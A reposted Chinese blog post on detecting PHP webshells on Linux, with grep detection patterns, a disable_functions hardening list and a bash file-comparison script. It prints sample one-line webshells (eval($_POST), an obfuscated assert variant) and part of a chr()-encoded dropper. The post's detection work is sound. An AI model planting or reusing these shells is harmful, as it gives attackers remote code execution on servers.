天天看點

linux查找webshell

原文出處:http://my.oschina.net/longquan/blog/155905

首先認識一下小馬,一般大馬容易暴露,駭客都會留一手,把小馬加入正常PHP檔案裡面

<?php eval ($_POST[a]);?> //密碼為a,使用中國菜刀連接配接

隐藏很深的小馬

fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).

。。。省略

解碼:

其中chr括号裡面的數字是美國資訊交換标準代碼,縮寫:ASCII 可以找一份對照表對應一下

比如 46  就是 .

       47  就是 /

       32  就是 空格

也可以echo chr(46)解出來

<?php

echo chr(46).chr(47).chr(97).chr(46)

?>

WINDOWS下的應該有很多日志分析和清除工具(比如D盾等),那麼,LINUX下如何查找WEBSHELL呢?

find /www/ -name "*.php" |xargs egrep 'assert|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval \(str_rot13|\.chr\(|\$\{\"\_P|eval\(\$\_R|file_put_contents\(\.\*\$\_|base64_decode'      

然後就手工檢視,寫入計劃任務啦。

隻查小馬的可以

grep -r --include=*.php  '[^a-z]eval($_POST' . > post.txt
grep -r --include=*.php  '[^a-z]eval($_REQUEST' . > REQUEST.txt      

查出來了,重要的是要分析日志,檢視入侵源頭。

防範:

禁用危險函數,整理權限,防止權限過大

disable_functions = exec,scandir,shell_exec,phpinfo,eval,passthru,system,chroot,chgrp,chown,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,s
ymlink,popepassthru,stream_socket_server,fsocket      

在網上找了一份用PHP查找WEBSHELL的東東,适用資料量小及少

https://github.com/emposha/PHP-Shell-Detector

git 下來  隻需要2個檔案

shelldetect.php   //預設帳号密碼 admin protect 

shelldetect.db

如果你有什麼好的建議,感謝你的分享:)

20130826更新

小馬的變種很多,經常會繞過我們的檢查,此時,最好能做把檔案進行對比。

比如,網上找的這個PHP一句話<?php $k="ass"."ert";$k(${"_PO"."ST"}['8']);?>

下面提供自己寫的比較簡單的檢查腳本,思路是對比目錄有更新的PHP檔案進行比對。

#!/bin/bash
# 先RSYNC幹淨的,再執行此腳本最好
Date=`date +%Y%m%d_%H:%M`
src=/www/www.a.com/
dest=/www/www.a.com.bk/
log_tmp1=/root/sh/webshell_php.log
log_result=/root/sh/webshell_result.log
which egrep
if [ $? -ne 0 ];then
echo "Not Found egrep,exit"
exit 0
fi
rsync -av --include="*/" --include="*.php" --exclude="*" $src $dest|grep -i php > $log_tmp1
for diff in `cat $log_tmp1`
  do
     egrep 'assert|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval \(str_rot13|\.chr\(|\$\{\"\_P|eval\(\$\_R|file_put_contents\(\.\*\$\_|base64_decode|\@preg_replace' "$dest""$diff"
  if [ $? -eq 0 ];then
     echo "===========================" >> $log_result
     echo "$Date" >> $log_result
     echo "$dest$diff is Dangerous" >> $log_result
   fi
done      

擴充閱讀:

shell反彈

php-security-best-practices-tutorial

十大PHP最佳安全實踐

使用suhosin保護PHP